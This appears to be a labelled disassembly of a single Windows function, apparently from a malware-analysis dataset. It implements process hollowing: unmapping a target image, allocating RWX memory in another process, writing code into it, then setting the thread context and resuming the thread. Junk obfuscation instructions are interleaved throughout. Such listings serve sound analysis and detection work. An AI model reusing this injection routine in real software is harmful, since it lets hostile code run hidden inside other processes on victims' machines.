Function at 0x10006686
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
xor eax, 1
add eax, 2
jne 0x1000669d
je 0x1000669d
call 0x93045724
rol byte [ebx + eax*4], 0xf0
add eax, 0x53ec8b55
xor eax, 3
add eax, 4
xor eax, 5
push ebp
mov ebp, esp
push ebx
pop ebx
push 0xffffceab
inc ecx
dec ecx
nop
mov esp, ebp
nop
pop ebp
mov dword [ebp - 0x328], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x324]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2e4]
push eax
lea ecx, [ebp - 0x2cc]
push ecx
lea edx, [ebp - 0x2dc]
push edx
call fcn.1000652a
add esp, 0xc
test eax, eax
je 0x100069c3
mov dword [ebp - 0x32c], 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x1c]
cmp ecx, dword [ebp - 0x2e4]
jne 0x1000674a
mov edx, dword [ebp + 0x1c]
cmp edx, dword [ebp - 0x2e0]
ja 0x1000674a
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0x32c], eax
lea ecx, [ebp - 0x330]
push ecx
push 0x40
mov edx, dword [ebp - 0x2e0]
push edx
mov eax, dword [ebp - 0x2e4]
push eax
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x100067a4
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x334], eax
mov edx, dword [ebp - 0x2e4]
push edx
mov eax, dword [ebp - 0x2dc]
push eax
call dword [ebp - 0x334]
test eax, eax
jne 0x100067a4
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 0x1c]
push eax
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x10006809
mov edx, dword [ebp + 0x10]
push edx
call fcn.10006660
add esp, 4
test eax, eax
je 0x10006809
push 0x40
push 0x3000
mov eax, dword [ebp + 0x1c]
push eax
push 0
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
je 0x10006809
mov edx, dword [ebp - 0x32c]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10006450
add esp, 0x18
cmp dword [ebp - 0x32c], 0
je 0x100069b4
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x340], edx
lea eax, [ebp - 0x33c]
push eax
push 4
lea ecx, [ebp - 0x32c]
push ecx
mov edx, dword [ebp - 0x340]
add edx, 8
push edx
mov eax, dword [ebp - 0x2dc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp + 0x18]
lea ecx, [edx + eax + 0x18]
mov dword [ebp - 0x338], ecx
mov edx, dword [ebp - 0x338]
mov eax, dword [ebp - 0x32c]
mov dword [edx + 0x1c], eax
push 0
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp - 0x32c]
push eax
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100069a3
nop
nop
push ebp
mov ebp, esp
add esp, 6
sub esp, 6
push 0x455a
add esp, 0xa
sub esp, 0xa
test esi, esi
mov esp, ebp
nop
pop ebp
mov dword [ebp - 0x2cc], 0x10007
mov edx, dword [ebp - 0x32c]
cmp edx, dword [ebp - 0x2e4]
jne 0x100068d9
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ebp + 0x10]
add ecx, dword [edx + 0x10]
mov dword [ebp - 0x21c], ecx
jmp 0x100068eb
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x32c]
add ecx, dword [eax + 0x10]
mov dword [ebp - 0x21c], ecx
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 0xa
add esp, 0xfffffff6
inc ecx
dec ecx
push ebx
pop ebx
nop
mov esp, ebp
nop
nop
pop ebp
push str.SetThreadContext
push 0x10008068
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x344], eax
lea edx, [ebp - 0x2cc]
push edx
mov eax, dword [ebp - 0x2d8]
push eax
call dword [ebp - 0x344]
nop
nop
push ebp
nop
nop
mov ebp, esp
test esi, esi
add esp, 7
add esp, 0xfffffff9
add esp, 5
sub esp, 5
inc ecx
dec ecx
nop
mov esp, ebp
nop
pop ebp
push str.ResumeThread
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x348], eax
mov ecx, dword [ebp - 0x2d8]
push ecx
call dword [ebp - 0x348]
nop
nop
push ebp
mov ebp, esp
add esp, 6
sub esp, 6
push 0x455a
add esp, 0xa
sub esp, 0xa
test esi, esi
mov esp, ebp
nop
pop ebp
mov edx, dword [ebp - 0x2d8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100069b2
push 0
mov eax, dword [ebp - 0x2dc]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x100069c3
push 0
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret